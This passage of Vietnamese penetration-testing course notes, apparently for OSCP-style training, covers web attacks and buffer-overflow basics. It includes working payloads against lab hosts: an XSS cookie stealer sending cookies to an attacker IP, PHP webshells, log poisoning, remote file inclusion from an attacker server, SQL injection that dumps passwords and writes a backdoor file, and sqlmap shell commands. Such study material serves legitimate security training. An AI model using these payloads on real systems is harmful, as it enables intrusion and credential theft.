  • “Các công cụ quét lỗ hổng bảo mật có thể thực hiện các hành động có thể gây bất lợi cho một số mạng hoặc mục tiêu, vì vậy chúng ta phải thận trọng khi sử dụng chúng.”

9. Web Application Attacks

  • Mục tiêu: Tấn công ứng dụng web.
  • Nội dung: SQL Injection, XSS, LFI/RFI, Command Injection, CSRF.
  • Ứng dụng: Khai thác lỗ hổng web để truy cập hệ thống.

Tấn công Ứng dụng Web

1. Tổng quan về Tấn công Ứng dụng Web

Các ứng dụng web hiện đại, mặc dù được đơn giản hóa trong quá trình phát triển và triển khai, thường bộc lộ một bề mặt tấn công rộng lớn do mã ứng dụng không hoàn thiện, nhiều phụ thuộc và cấu hình máy chủ không an toàn. Các lỗ hổng phổ biến nhất có những khái niệm tương tự nhau bất kể công nghệ cơ bản được sử dụng.

Mục tiêu chính của việc kiểm tra thâm nhập ứng dụng web là leo thang quyền hạn trong ứng dụng hoặc chuyển sang một ứng dụng hoặc mục tiêu khác. Mỗi khai thác thành công có thể cấp quyền truy cập vào chức năng hoặc thành phần mới.

2. Phương pháp Đánh giá Ứng dụng Web

Phương pháp đánh giá bao gồm các bước sau:

  • Thu thập thông tin: Hiểu chức năng của ứng dụng, ngôn ngữ lập trình, và phần mềm máy chủ.
  • Liệt kê: Xác định các thành phần tạo nên ứng dụng web trước khi khai thác. Các thành phần chính bao gồm:
  • Ngôn ngữ lập trình và khuôn khổ (ví dụ: .php, .jsp, .do, .html).
  • Phần mềm máy chủ web.
  • Phần mềm cơ sở dữ liệu.
  • Hệ điều hành máy chủ.
  • Khai thác: Sử dụng các lỗ hổng đã xác định để đạt được mục tiêu tấn công.

3. Liệt kê Ứng dụng Web

Việc liệt kê là rất quan trọng để khám phá công nghệ đang được sử dụng. Các kỹ thuật bao gồm:

  • Kiểm tra URL:
  • Phần mở rộng tệp (.php, .jsp, .do, .html) có thể tiết lộ ngôn ngữ lập trình và khuôn khổ.
  • Các tuyến đường hiện đại làm cho phần mở rộng URI ít liên quan hơn.
  • Kiểm tra Nội dung Trang:
  • Công cụ nhà phát triển trình duyệt (ví dụ: Trình gỡ lỗi Firefox, Ctrl + Shift + K) hiển thị tài nguyên và nội dung trang.
  • Có thể tiết lộ các khuôn khổ JavaScript, trường nhập ẩn, nhận xét, điều khiển phía máy khách.
  • Ví dụ: Kiểm tra http://www.megacorp.one cho thấy việc sử dụng jQuery phiên bản 1.11.0.
  • Xem Tiêu đề Phản hồi:
  • Công cụ Mạng trong trình duyệt hoặc proxy chặn yêu cầu/phản hồi HTTP.
  • Tiêu đề “Server” thường tiết lộ tên và phiên bản phần mềm máy chủ web.
  • Tiêu đề không chuẩn bắt đầu bằng “X-” (ví dụ: X-Powered-By, x-amz-cf-id, X-Aspnet-Version) có thể cung cấp thông tin bổ sung về ngăn xếp công nghệ.
  • Ví dụ: x-amz-cf-id chỉ ra việc sử dụng Amazon CloudFront.
  • Kiểm tra Sitemaps:
  • Các tệp robots.txt và sitemap.xml có thể liệt kê các trang nhạy cảm hoặc bảng điều khiển quản trị bị cấm bởi trình thu thập thông tin web nhưng lại thú vị đối với người kiểm tra thâm nhập.
  • Ví dụ: robots.txt của Google hiển thị các lệnh Allow và Disallow.
  • Xác định Bảng điều khiển Quản trị:
  • Các bảng điều khiển quản trị từ xa hoặc ứng dụng web quản trị thường có thể truy cập qua một URL hoặc cổng TCP cụ thể (ví dụ: /manager/html cho Tomcat, /phpmyadmin cho MySQL).
  • Mặc dù có thể bị hạn chế, chúng thường được hiển thị bên ngoài trong các cấu hình mặc định.

4. Công cụ Đánh giá Ứng dụng Web

Các công cụ tự động hóa có thể tăng năng suất nhưng việc hiểu các kỹ thuật khai thác thủ công là rất quan trọng.

  • DIRB:
  • Trình quét nội dung web sử dụng danh sách từ để tìm thư mục và trang.
  • Có thể xác định các trang web hợp lệ ngay cả khi trang chỉ mục chính bị thiếu.
  • Các tùy chọn tùy chỉnh để tìm kiếm thư mục cụ thể, sử dụng từ điển tùy chỉnh, đặt cookie hoặc tiêu đề.
  • Ví dụ: Chạy DIRB trên http://www.megacorpone.com đã phát hiện các thư mục như /about, /admin, /contact, /jobs, và /old-site/.
  • Burp Suite:
  • Bộ công cụ dựa trên GUI để kiểm tra bảo mật ứng dụng web, đặc biệt mạnh mẽ như một proxy.
  • Phiên bản Community Edition chủ yếu dành cho thử nghiệm thủ công.
  • Công cụ Proxy: Chặn, sửa đổi và chuyển tiếp các yêu cầu HTTP/HTTPS. Hữu ích để kiểm tra cách ứng dụng xử lý đầu vào tùy ý.
  • Lịch sử HTTP: Hiển thị tất cả lưu lượng truy cập qua proxy.
  • Bộ lặp (Repeater): Dễ dàng sửa đổi và gửi lại các yêu cầu, xem xét phản hồi, lý tưởng cho việc thử và sai.
  • Trình xâm nhập (Intruder): Tự động hóa việc gửi nhiều yêu cầu với các tải trọng khác nhau (ví dụ: tấn công vét cạn, fuzzing). Lưu ý: Phiên bản Community có giới hạn thời gian.
  • Ví dụ: Sử dụng Intruder để vét cạn thông tin đăng nhập phpMyAdmin bằng cách tự động hóa các trường pma_username, pma_password, phpMyAdmin cookie và token set_session, sử dụng tải trọng “Recursive Grep” để trích xuất các giá trị thay đổi.
  • Thực hiện thành công việc đăng nhập vào phpMyAdmin với root/root.
  • Cấu hình SSL/TLS: Burp có thể giải mã lưu lượng HTTPS bằng cách tạo chứng chỉ SSL/TLS của riêng mình. Cần nhập chứng chỉ CA của Burp vào trình duyệt (ví dụ: Firefox) để tránh cảnh báo.
  • Nikto:
  • Trình quét máy chủ web mã nguồn mở, kiểm tra hàng nghìn tệp và chương trình nguy hiểm, phiên bản máy chủ dễ bị tấn công và các vấn đề cấu hình máy chủ.
  • Hiệu quả trong việc phát hiện “những lỗi hiển nhiên” và các vấn đề cấu hình máy chủ, nhưng không được thiết kế để ẩn mình.
  • Ví dụ: Quét http://www.megacorpone.com đã xác định rằng Apache/2.2.22 đã lỗi thời và thiếu tiêu đề chống clickjacking và XSS.
  • Các máy chủ HTTP tích hợp: Kali Linux bao gồm các cách nhanh chóng để tạo máy chủ HTTP (Python 2/3, PHP, Ruby, BusyBox) để lưu trữ các tệp độc hại từ xa.

5. Khai thác các Lỗ hổng Dựa trên Web

5.1. Khai thác Bảng điều khiển Quản trị (Admin Consoles)

  • Sau khi xác định vị trí, cách khai thác đơn giản nhất là đăng nhập.
  • Các phương pháp: Thử cặp tên người dùng/mật khẩu mặc định, đoán thông tin đăng nhập dựa trên liệt kê, hoặc vét cạn (brute force).
  • Cảnh báo: Vét cạn có thể khóa tài khoản hoặc cảnh báo đội xanh (blue team).
  • Ví dụ: Phát hiện /phpmyadmin trên máy lab Windows 10 bằng DIRB.
  • Thông tin đăng nhập mặc định “root” với mật khẩu trống không hoạt động do cấu hình AllowNoPassword = False.
  • Sử dụng Burp Intruder, xác định thành công thông tin đăng nhập root/root bằng cách tự động hóa mật khẩu và xử lý các giá trị cookie và token phiên thay đổi.
  • Sau khi đăng nhập, có thể thực hiện các truy vấn SQL tùy ý, ví dụ: select * from webappdb.users; để lấy mật khẩu văn bản rõ ràng hoặc insert into webappdb.users(password, username) VALUES (“backdoor”,”backdoor”); để thêm người dùng mới.

5.2. Cross-Site Scripting (XSS)

XSS xảy ra khi dữ liệu người dùng không được làm sạch (unsanitized) được đưa vào và hiển thị trên một trang web, cho phép kẻ tấn công chèn và thực thi mã độc hại phía máy khách (ví dụ: JavaScript).

  • Các biến thể XSS:
  • Stored XSS (Persistent XSS): Tải trọng được lưu trữ trên máy chủ (cơ sở dữ liệu, bộ nhớ cache) và được hiển thị cho tất cả người dùng xem trang bị ảnh hưởng.
  • Reflected XSS: Tải trọng nằm trong yêu cầu hoặc liên kết được tạo thủ công và chỉ tấn công người gửi yêu cầu hoặc xem liên kết.
  • DOM-based XSS: Xảy ra trong Document Object Model của trang khi DOM được sửa đổi bằng các giá trị do người dùng kiểm soát.
  • Tác động: Chiếm quyền điều khiển phiên, chuyển hướng đến các trang độc hại, thực thi ứng dụng cục bộ.
  • Xác định Lỗ hổng XSS:
  • Tìm kiếm các trường nhập liệu chấp nhận đầu vào không được làm sạch và hiển thị nó dưới dạng đầu ra.
  • Nhập các ký tự đặc biệt (< > ‘ ” { } 😉 để xem liệu chúng có bị lọc hoặc mã hóa không.
  • Sanitization: Lý tưởng nhất là dữ liệu phải được làm sạch ở cả hai nơi (khi gửi và khi hiển thị). Hàm htmlspecialchars của PHP có thể chuyển đổi các ký tự đặc biệt thành các thực thể HTML.
  • XSS cơ bản:
  • Ví dụ: Trên ứng dụng mẫu Windows 10, chèn <script> alert (‘ XSS ‘) </script> vào trường phản hồi.
  • Mã được chèn được thực thi khi trang phản hồi được xem.
  • Mã nguồn cho thấy các giá trị name và comment được chèn trực tiếp vào cơ sở dữ liệu mà không cần xác thực, và sau đó được ghi ra trang mà không cần sửa đổi.
  • Chèn Nội dung (Content Injection):
  • Sử dụng XSS để chuyển hướng trình duyệt nạn nhân đến một vị trí do kẻ tấn công chọn, ví dụ: chèn một iframe vô hình (<iframe src=http://10.11.0.4/report height=”0″ width=”0″></iframe>) để kết nối lại với máy tấn công.
  • Đánh cắp Cookie và Thông tin Phiên:
  • Nếu cờ HttpOnly không được đặt, JavaScript có thể truy cập cookie.
  • Sử dụng tải trọng JavaScript để đọc giá trị cookie và gửi nó đến máy tấn công (ví dụ: <script>new Image().src=”http://10.11.0.4/cool.jpg?output=”+document.cookie;</script&gt;).
  • Ví dụ: Đánh cắp PHPSESSID của người dùng quản trị từ ứng dụng mẫu. Sử dụng tập lệnh admin_login.ps1 để mô phỏng đăng nhập quản trị. Sau đó, đặt cookie đã đánh cắp bằng Cookie-Editor để truy cập trang /admin.php mà không cần thông tin đăng nhập.

5.3. Lỗ hổng Truy vấn Thư mục (Directory Traversal Vulnerabilities)

Còn được gọi là lỗ hổng truy vấn đường dẫn, cho phép kẻ tấn công truy cập trái phép các tệp bên ngoài thư mục gốc web của ứng dụng.

  • Nguyên nhân: Đầu vào được xác thực kém, cho phép kẻ tấn công thao túng đường dẫn tệp bằng các ký tự ../ hoặc ..\.
  • Tác động: Rò rỉ thông tin nhạy cảm; không thực thi mã trên máy chủ ứng dụng.
  • Xác định và Khai thác:
  • Kiểm tra chuỗi truy vấn URL và nội dung biểu mẫu để tìm các giá trị tham chiếu tệp (ví dụ: phần mở rộng tệp trong chuỗi truy vấn).
  • Sửa đổi các giá trị này để tham chiếu đến các tệp có thể đọc được trên hệ thống (ví dụ: /etc/passwd trên Linux, c:\boot.ini trên Windows).
  • Ví dụ: Ứng dụng mẫu trên Windows 10 (menu.php?file=current_menu.php) hiển thị lỗi khi thay đổi file thành old.php, tiết lộ đường dẫn tệp đầy đủ và thư mục nguồn của ứng dụng.
  • Thao tác tham số file thành c:\windows\system32\drivers\etc\hosts đã hiển thị thành công nội dung của tệp hosts.

5.4. Lỗ hổng Bao gồm Tệp (File Inclusion Vulnerabilities)

Cho phép kẻ tấn công chèn một tệp vào mã đang chạy của ứng dụng và thực thi mã bên trong tệp đó.

  • Bao gồm tệp cục bộ (LFI): Tệp được tải từ cùng một máy chủ web.
  • Bao gồm tệp từ xa (RFI): Tệp được tải từ nguồn bên ngoài.
  • Phụ thuộc: Ngôn ngữ lập trình, cấu hình máy chủ (ví dụ: php.ini như register_globals và allow_url_wrappers trong PHP).
  • Xác định:
  • Tương tự như truy vấn thư mục, nhưng mục tiêu là thực thi nội dung của tệp.
  • Kiểm tra các tham số để dễ bị RFI bằng cách thay đổi giá trị của chúng thành một URL.
  • Khai thác LFI:
  • Ví dụ: Mã nguồn của menu.php cho thấy $file = $_GET[“file”]; include $file;, nghĩa là ứng dụng sẽ thực thi bất kỳ mã PHP nào trong tệp được chỉ định.
  • Lây nhiễm Tệp nhật ký: Gửi một yêu cầu chứa mã PHP (ví dụ: <?php echo ‘<pre>’ . shell_exec($_GET[‘cmd’]) . ‘</pre>’;?>) để nó được ghi vào tệp nhật ký của máy chủ web (ví dụ: access.log của Apache).
  • Thực thi Mã LFI: Sử dụng lỗ hổng LFI để bao gồm tệp nhật ký bị lây nhiễm (ví dụ: http://10.11.0.22/menu.php?file=c:\xampp\apache\logs\access.log&cmd=ipconfig). Mã PHP trong tệp nhật ký sẽ được thực thi, hiển thị đầu ra lệnh ipconfig.
  • PHP Wrappers: Cung cấp tính linh hoạt bổ sung.
  • data:// wrapper: Nhúng dữ liệu nội tuyến (ví dụ: data:text/plain,<?php echo shell_exec(“dir”) ?>). Có thể sử dụng để thực thi mã PHP mà không cần lây nhiễm tệp cục bộ.
  • Khai thác RFI:
  • Ít phổ biến hơn LFI nhưng thường dễ khai thác hơn nếu cấu hình máy chủ cho phép (ví dụ: allow_url_include = On trong PHP).
  • Ví dụ: http://10.11.0.22/menu.php?file=http://10.11.0.4/evil.txt. Máy chủ web sẽ cố gắng tải và thực thi evil.txt từ máy tấn công.
  • Lưu trữ một webshell PHP đơn giản (<?php echo shell_exec($_GET[‘cmd’]); ?>) trên máy tấn công và sử dụng RFI để thực thi (ví dụ: http://10.11.0.22/menu.php?file=http://10.11.0.4/evil.txt&cmd=ipconfig).
  • Webshell: Một phần mềm nhỏ cung cấp giao diện dòng lệnh dựa trên web, giúp thực thi lệnh dễ dàng hơn. Kali Linux bao gồm nhiều webshell trong /usr/share/webshells.

5.5. SQL Injection

Lỗ hổng ứng dụng web phổ biến do dữ liệu nhập của người dùng không được kiểm soát được chèn vào các truy vấn SQL và thực thi bởi cơ sở dữ liệu. Có thể dẫn đến rò rỉ thông tin cơ sở dữ liệu và xâm nhập máy chủ.

  • Cú pháp SQL cơ bản:
  • Cơ sở dữ liệu quan hệ được tạo thành từ các bảng, cột và hàng.
  • Lệnh SELECT truy xuất dữ liệu, WHERE thêm điều kiện.
  • Ví dụ: SELECT * FROM users;, SELECT username FROM users WHERE id=1;.
  • Xác định Lỗ hổng SQL Injection:
  • Sử dụng dấu nháy đơn (‘) làm kiểm tra đơn giản: nếu gây ra lỗi cơ sở dữ liệu, có thể có lỗ hổng.
  • Kiểm tra mã nguồn để tìm các truy vấn SQL được xây dựng bằng cách nối chuỗi dữ liệu người dùng mà không được làm sạch (ví dụ: $query = “select * from users where username = ‘$user’ and password = ‘$pass’”;).
  • Thông báo lỗi có thể tiết lộ loại cơ sở dữ liệu và hệ điều hành.
  • Bỏ qua Xác thực:
  • Ví dụ: Gửi tom’ or 1=1;# làm tên người dùng. #’ là ký tự nhận xét trong MySQL/MariaDB, bỏ qua phần còn lại của truy vấn.
  • Truy vấn trở thành select * from users where name = ‘tom’ or 1=1;, luôn đúng và trả về tất cả các hàng.
  • Nếu ứng dụng chỉ mong đợi một hàng, có thể thêm LIMIT 1 (ví dụ: tom’ or 1=1 LIMIT 1;#).
  • Ví dụ: Trên ứng dụng mẫu, chèn ‘ or 1=1 LIMIT 1; vào trường tên người dùng đã bỏ qua đăng nhập và cấp quyền truy cập vào trang quản trị. Mã nguồn (login.php) cho thấy sự nối chuỗi trực tiếp và kiểm tra num_rows == 1.
  • Phòng chống: Sử dụng các truy vấn được tham số hóa (prepared statements) để tách mã SQL khỏi dữ liệu người dùng.
  • Liệt kê Cơ sở dữ liệu:
  • Sử dụng các cuộc tấn công SQL injection để trích xuất thông tin về cấu trúc cơ sở dữ liệu.
  • Ví dụ: Trang debug.php?id=1 dễ bị SQL injection.
  • Liệt kê số cột: Thêm order by X vào truy vấn, tăng X cho đến khi gặp lỗi, để xác định số lượng cột được trả về (ví dụ: debug.php?id=1 order by 1).
  • Hiểu Bố cục Đầu ra: Sử dụng UNION ALL SELECT 1, 2, 3 để xem các cột nào được hiển thị trên trang web (ví dụ: debug.php?id=1 union all select 1, 2, 3).
  • Trích xuất Dữ liệu:
  • Phiên bản MariaDB: debug.php?id=1 union all select 1, 2, @@version.
  • Người dùng cơ sở dữ liệu hiện tại: debug.php?id=1 union all select 1, 2, user().
  • Tên bảng từ information_schema.tables: debug.php?id=1 union all select 1, 2, table_name from information_schema.tables.
  • Tên cột từ information_schema.columns cho bảng users: debug.php?id=1 union all select 1, 2, column_name from information_schema.columns where table_name=’users’.
  • Thông tin người dùng và mật khẩu từ bảng users: debug.php?id=1 union all select 1, username, password from users.
  • Từ SQL Injection đến Thực thi Mã:
  • Có thể đọc và ghi tệp trên hệ điều hành cơ bản nếu có đặc quyền dịch vụ và quyền hệ thống tệp.
  • Đọc tệp: Sử dụng hàm load_file (ví dụ: debug.php?id=1 union all select 1, 2, load_file(‘C:/Windows/System32/drivers/etc/hosts’)).
  • Ghi tệp (PHP shell): Sử dụng hàm INTO OUTFILE để tạo tệp PHP độc hại trong thư mục gốc của máy chủ web (ví dụ: debug.php?id=1 union all select 1, 2, “<?php echo shell_exec($_GET[‘cmd’]);?>” into OUTFILE ‘c:/xampp/htdocs/backdoor.php’).
  • Sau đó, truy cập tệp mới tạo (ví dụ: http://10.11.0.22/backdoor.php?cmd=ipconfig) để thực thi mã trên máy chủ.
  • Tự động hóa SQL Injection:
  • sqlmap: Công cụ tự động hóa để xác định và khai thác các lỗ hổng SQL injection.
  • Ví dụ:
  • sqlmap -u http://10.11.0.22/debug.php?id=1 -p “id” để kiểm tra lỗ hổng.
  • sqlmap -u http://10.11.0.22/debug.php?id=1 -p “id” –dbms=mysql –dump để kết xuất toàn bộ cơ sở dữ liệu.
  • sqlmap -u http://10.11.0.22/debug.php?id=1 -p “id” –dbms=mysql –os-shell để có được một shell hệ điều hành tương tác.
  • Lưu ý: sqlmap không được phép trong kỳ thi OSCP.

6. Tổng kết

Mô-đun này đã tập trung vào việc xác định, liệt kê và khai thác các lỗ hổng ứng dụng web phổ biến, bao gồm điểm yếu của bảng điều khiển quản trị, cross-site scripting (XSS), truy vấn thư mục, bao gồm tệp cục bộ và từ xa, và SQL injection. Các vector tấn công này là những khối xây dựng cơ bản để xây dựng các cuộc tấn công nâng cao hơn.


10. Introduction to Buffer Overflows

  • Mục tiêu: Hiểu cơ chế Buffer Overflow.
  • Nội dung: Lý thuyết tràn bộ đệm, stack, shellcode.
  • Ứng dụng: Nền tảng cho khai thác Windows/Linux Buffer Overflow.

Giới thiệu về Lỗi Tràn Bộ đệm (Buffer Overflows)

1. Giới thiệu chung về Lỗi tràn bộ đệm

Lỗi tràn bộ đệm (Buffer Overflows) là một loại lỗ hổng hỏng bộ nhớ (memory corruption vulnerability). Mục tiêu của việc khai thác lỗ hổng này là kiểm soát luồng thực thi của một ứng dụng. Việc hiểu rõ cách bộ nhớ chương trình được sử dụng và các điều kiện dẫn đến lỗi tràn bộ đệm là rất quan trọng để phát triển các kỹ thuật khai thác.

2. Kiến trúc x86 và Bộ nhớ chương trình

Để hiểu lỗi bộ nhớ và cách chúng có thể bị lợi dụng để truy cập trái phép, cần nắm rõ về bộ nhớ chương trình, cơ chế phần mềm hoạt động ở cấp độ CPU và một số định nghĩa cơ bản.

2.1. Ngôn ngữ Assembly (ASM)

Assembly (asm) là một ngôn ngữ lập trình cấp thấp, tương ứng rất chặt chẽ với các lệnh mã máy tích hợp trong CPU.

2.2. Cấu trúc Bộ nhớ chương trình

Khi một ứng dụng nhị phân được thực thi, nó sẽ phân bổ bộ nhớ theo một cách rất cụ thể. Trong tài liệu này, trọng tâm chính là “ngăn xếp” (stack).

2.2.1. Ngăn xếp (The Stack)
  • Mục đích: Khi một luồng đang chạy, nó yêu cầu một vùng dữ liệu ngắn hạn cho các hàm, biến cục bộ và thông tin điều khiển chương trình. Vùng này được gọi là ngăn xếp. Mỗi luồng trong một ứng dụng đang chạy có ngăn xếp riêng của nó để tạo điều kiện thực thi độc lập nhiều luồng.
  • Cấu trúc: Bộ nhớ ngăn xếp được CPU xem như một cấu trúc “Vào trước ra sau” (LIFO – Last-In First-Out). Các mục được đặt (“pushed”) lên đầu ngăn xếp sẽ bị xóa (“popped”) trước tiên. Kiến trúc x86 triển khai các hướng dẫn lắp ráp PUSH và POP chuyên dụng để thêm hoặc xóa dữ liệu vào ngăn xếp.
  • Khung ngăn xếp (Stack Frame): Khi một hàm được gọi, “địa chỉ trả về” (cùng với các tham số và biến cục bộ của hàm) được lưu trữ trên ngăn xếp. Tập hợp dữ liệu này được liên kết với một lệnh gọi hàm và được lưu trữ trong một phần của bộ nhớ ngăn xếp được gọi là khung ngăn xếp. Khi một hàm kết thúc, địa chỉ trả về được lấy từ ngăn xếp và được sử dụng để khôi phục luồng thực thi trở lại chương trình chính hoặc hàm gọi.
2.2.2. Heap (Không được thảo luận chi tiết)

Mặc dù có một khu vực lưu trữ dữ liệu động và lâu dài hơn gọi là heap, tài liệu này tập trung vào các lỗi tràn bộ đệm dựa trên ngăn xếp nên không thảo luận về bộ nhớ heap.

3. Các Thanh ghi CPU (CPU Registers)

Để thực hiện mã hiệu quả, CPU duy trì và sử dụng một loạt chín thanh ghi 32-bit (trên nền tảng 32-bit). Thanh ghi là các vị trí lưu trữ CPU nhỏ, tốc độ cực cao, nơi dữ liệu có thể được đọc hoặc thao tác một cách hiệu quả.

3.1. Các Thanh ghi Mục đích chung (General Purpose Registers)

Một số thanh ghi, bao gồm EAX, EBX, ECX, EDX, ESI và EDI, thường được sử dụng để lưu trữ dữ liệu tạm thời.

  • EAX (accumulator): Dành cho các hướng dẫn số học và logic.
  • EBX (base): Con trỏ cơ sở cho địa chỉ bộ nhớ.
  • ECX (counter): Bộ đếm vòng lặp, dịch chuyển và xoay vòng.
  • EDX (data): Định địa chỉ cổng I/O, nhân và chia.
  • ESI (source index): Định địa chỉ con trỏ của dữ liệu và nguồn trong các hoạt động sao chép chuỗi.
  • EDI (destination index): Định địa chỉ con trỏ của dữ liệu và đích trong các hoạt động sao chép chuỗi.

3.2. ESP – Con trỏ ngăn xếp (The Stack Pointer)

  • Mục đích: Giữ “track” vị trí được tham chiếu gần đây nhất trên ngăn xếp (đỉnh của ngăn xếp) bằng cách lưu trữ một con trỏ tới nó.
  • Chức năng: Vì ngăn xếp là động và thay đổi liên tục, ESP luôn trỏ đến đỉnh hiện tại của ngăn xếp.

3.3. EBP – Con trỏ cơ sở (The Base Pointer)

  • Mục đích: Giải quyết khó khăn cho một hàm trong việc định vị khung ngăn xếp của chính nó (nơi lưu trữ các đối số, biến cục bộ và địa chỉ trả về).
  • Chức năng: “EBP, con trỏ cơ sở, giải quyết điều này bằng cách lưu trữ một con trỏ vào đầu ngăn xếp khi một hàm được gọi.” Bằng cách truy cập EBP, một hàm có thể dễ dàng tham chiếu thông tin từ khung ngăn xếp của chính nó.

3.4. EIP – Con trỏ lệnh (The Instruction Pointer)

  • Mục đích: “EIP, con trỏ lệnh, là một trong những thanh ghi quan trọng nhất cho mục đích của chúng ta vì nó luôn trỏ đến lệnh mã tiếp theo sẽ được thực thi.”
  • Vai trò trong khai thác: “Vì EIP về cơ bản định hướng luồng chương trình, nó là mục tiêu chính của kẻ tấn công khi khai thác bất kỳ lỗ hổng hỏng bộ nhớ nào, chẳng hạn như tràn bộ đệm.” Kiểm soát EIP là bước đầu tiên để tạo ra một lỗi tràn bộ đệm thành công, cho phép thực thi mã tùy ý (shellcode).

4. Hướng dẫn Lỗi tràn bộ đệm (Buffer Overflow Walkthrough)

Phần này phân tích một ứng dụng C đơn giản dễ bị tấn công do không thực hiện đúng việc khử trùng đầu vào của người dùng.

4.1. Mã dễ bị tấn công (Vulnerable Code)

Mã C mẫu:

#include <stdio.h>

#include <string.h>

int main(int argc, char *argv[])

{

char buffer[64];

if (argc < 2)

{

printf(“Error – You must supply at least one argument\n”);

return 1;

}

strcpy(buffer, argv[1]);

return 0;

}

  • Giải thích: Hàm main định nghĩa một mảng ký tự buffer có kích thước 64 byte trên ngăn xếp (là một biến cục bộ). Sau đó, nó sử dụng hàm strcpy để sao chép nội dung của đối số dòng lệnh đầu tiên (argv[1]) vào buffer.
  • Lỗ hổng: “Tuy nhiên, vì không có kiểm tra kích thước của đầu vào, nếu đối số dài hơn, chẳng hạn 80 byte, một phần của ngăn xếp liền kề với bộ đệm đích sẽ bị ghi đè bởi 16 ký tự còn lại, làm tràn ranh giới mảng.” Điều này làm hỏng dữ liệu trên ngăn xếp, cuối cùng dẫn đến việc ghi đè địa chỉ trả về và kiểm soát thanh ghi EIP.

4.2. Sử dụng Immunity Debugger

Trình gỡ lỗi (debugger) được sử dụng để hỗ trợ quá trình phát triển khai thác, cho phép dừng luồng thực thi, kiểm tra nội dung các thanh ghi và không gian bộ nhớ. Immunity Debugger được chọn vì giao diện đơn giản và khả năng sử dụng script Python.

  • Bố cục Debugger: Gồm bốn cửa sổ chính:
  • Trên cùng bên trái: Các lệnh assembly của ứng dụng.
  • Trên cùng bên phải: Tất cả các thanh ghi CPU, bao gồm ESP và EIP.
  • Dưới cùng bên phải: Ngăn xếp và nội dung của nó, hiển thị địa chỉ bộ nhớ, dữ liệu hex, biểu diễn ASCII và bình luận động.
  • Dưới cùng bên trái: Nội dung của bộ nhớ tại bất kỳ địa chỉ nào.

4.3. Điều hướng mã và Phân tích tràn bộ đệm

Các bước thực hiện để phân tích lỗi tràn bộ đệm bằng debugger:

  1. Tìm hàm main: Dùng chức năng tìm kiếm chuỗi (Search for > All referenced text strings) để tìm thông báo lỗi “Error – You must supply at least one argument\n” giúp xác định vị trí của hàm main.
  2. Đặt breakpoint: Đặt một điểm ngắt (breakpoint) trên lệnh gọi hàm strcpy (CALL <JMP.&msvcrt.strcpy>) để dừng thực thi ngay trước khi nó được gọi.
  • Quan sát trước khi strcpy:EIP trỏ đến địa chỉ của lệnh strcpy.
  • Cửa sổ ngăn xếp hiển thị địa chỉ nguồn (src) là đối số dòng lệnh (ví dụ: “AAAAAAAAAAAA”) và địa chỉ đích (dest) của buffer (ví dụ: 0x0065FE70).
  • Địa chỉ trả về của hàm chính (ví dụ: 0x004015AF) nằm trên ngăn xếp, được đẩy lên bởi lệnh CALL.
  • Kích thước buffer là 64 byte (từ offset 0 đến +40 hex). Khoảng cách từ đầu buffer đến địa chỉ trả về của hàm cha main là 76 byte (0x4C hex).
  • Thực thi strcpy và quan sát sau:Nếu đối số dòng lệnh nhỏ hơn hoặc bằng 64 byte (ví dụ: 12 ‘A’), strcpy sẽ sao chép dữ liệu vào buffer một cách an toàn.
  • Sau khi strcpy hoàn thành, lệnh RETN sẽ lấy địa chỉ trả về từ đỉnh ngăn xếp (ví dụ: 0x004015AF) và đặt nó vào EIP, đưa luồng thực thi trở lại lệnh tiếp theo sau strcpy trong main.

4.4. Tràn bộ đệm (Overflowing the Buffer)

  • Kịch bản: Nếu cung cấp một chuỗi dài hơn kích thước của buffer và đủ dài để ghi đè địa chỉ trả về của hàm cha main (76 byte từ đầu buffer), ví dụ, 80 ký tự ‘A’.
  • Kết quả:strcpy sẽ sao chép tất cả 80 ký tự ‘A’ vào ngăn xếp, tràn qua giới hạn 64 byte của buffer.
  • Các ký tự ‘A’ thừa sẽ ghi đè lên các dữ liệu liền kề trên ngăn xếp, bao gồm cả địa chỉ trả về của hàm cha main.
  • “Địa chỉ trả về bị ghi đè sẽ được đưa vào EIP.”
  • Sau khi hàm main thực hiện lệnh RETN, EIP sẽ được thiết lập thành 0x41414141 (giá trị ASCII của ‘A’ là 0x41).
  • “Tại thời điểm này, CPU cố gắng đọc lệnh tiếp theo từ 0x41414141. Vì đây không phải là địa chỉ hợp lệ trong không gian bộ nhớ quy trình, CPU sẽ kích hoạt vi phạm quyền truy cập, làm hỏng ứng dụng.”

4.5. Kiểm soát EIP

  • Tầm quan trọng: “Một lần nữa, điều quan trọng cần ghi nhớ là thanh ghi EIP được CPU sử dụng để chỉ đạo thực thi mã ở cấp lắp ráp. Do đó, việc có được sự kiểm soát đáng tin cậy của EIP sẽ cho phép chúng tôi thực thi bất kỳ mã lắp ráp nào chúng tôi muốn và cuối cùng là shellcode để có được một trình bao ngược trong ngữ cảnh của ứng dụng dễ bị tấn công.”

5. Kết luận

Mô-đun này đã trình bày các nguyên tắc cơ bản của lỗi tràn bộ đệm, giải thích cách bộ nhớ chương trình được sử dụng, cơ chế xảy ra lỗi tràn bộ đệm và cách lỗi này có thể được sử dụng để kiểm soát luồng thực thi của một ứng dụng. Việc hiểu rõ các điều kiện này là nền tảng để phát triển các kỹ thuật khai thác trong các mô-đun tiếp theo.


11. Windows Buffer Overflows

  • Mục tiêu: Thực hành Buffer Overflow trên Windows.
  • Nội dung: Sử dụng Immunity Debugger, tạo payload.
  • Ứng dụng: Khai thác ứng dụng Windows để chiếm quyền.

12. Linux Buffer Overflows

  • Mục tiêu: Khai thác Buffer Overflow trên Linux.
  • Nội dung: GDB, pattern_create, kiểm soát EIP/RIP.
  • Ứng dụng: Lấy quyền root trên server Linux.

13. Client-Side Attacks

  • Mục tiêu: Tấn công từ phía người dùng.
  • Nội dung: Macro Office, exploit PDF, social engineering.
  • Ứng dụng: Lừa nạn nhân mở file độc hại để cài shell.

14. Locating Public Exploits

  • Mục tiêu: Tìm và tải exploit có sẵn.
  • Nội dung: Searchsploit, Exploit-DB, GitHub.
  • Ứng dụng: Tiết kiệm thời gian khai thác bằng exploit đã được công bố.

15. Fixing Exploits

  • Mục tiêu: Sửa lỗi exploit không chạy.
  • Nội dung: Debug code, thay đổi offset, payload.
  • Ứng dụng: Làm chủ kỹ năng tinh chỉnh exploit.

16. File Transfers

  • Mục tiêu: Chuyển file giữa attacker và target.
  • Nội dung: HTTP, FTP, SCP, SMB.
  • Ứng dụng: Tải malware, exfiltrate dữ liệu.

17. Antivirus Evasion

  • Mục tiêu: Vượt qua phần mềm diệt virus.
  • Nội dung: Mã hóa payload, packer, obfuscation.
  • Ứng dụng: Giúp khai thác thành công trên hệ thống bảo vệ mạnh.

Né tránh phần mềm chống vi-rút

